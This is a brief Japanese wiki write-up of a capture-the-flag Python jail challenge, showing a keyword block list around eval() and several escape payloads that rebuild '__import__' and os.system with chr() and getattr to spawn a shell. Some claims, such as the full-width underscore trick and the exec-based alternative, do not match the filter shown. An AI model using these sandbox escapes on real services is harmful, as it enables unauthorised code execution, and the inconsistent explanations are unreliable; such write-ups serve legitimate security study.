pyjail wiki

Hack.lu CTF 2025 - FANGELSE

Oct 15, 2025

Challenge

“FÄNGELSE” はスウェーデン語で “prison”。

import re
code = input()
# 特定のパターンを禁止
BLOCKED = ['import', 'eval', 'exec', 'open', 'os', 'sys', '__']
for pattern in BLOCKED:
if pattern in code.lower():
print("Blocked!")
exit()
eval(code)

Solution

Unicode によるフィルタバイパス

# '__' を Unicode で表現
__import__ # 全角アンダースコア

文字列構築

# chr() で禁止文字列を構築
getattr(__builtins__, chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116))

__ のバイパス

# getattr を使用
getattr(getattr((), chr(95)*2 + 'class' + chr(95)*2), ...)

Technical Details

フィルタの分析

# 'import' を検出 → 'import' は検出されない
# '__' を検出 → 全角 '__' は検出されない

多段階エスケープ

# Step 1: getattr を取得
g = getattr
# Step 2: builtins から __import__ を取得
i = g(__builtins__, chr(95)*2 + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95)*2)
# Step 3: os をインポート
o = i(chr(111) + chr(115))
# Step 4: system を実行
g(o, chr(115) + chr(121) + chr(115) + chr(116) + chr(101) + chr(109))(chr(115) + chr(104))

Alternative Solutions

別解1: 8進数エスケープ

# '\137\137' = '__'
exec('\137\137import\137\137("os").system("sh")')

別解2: format 文字列

'{0.__class__}'.format(())

Flag

flag{...}

References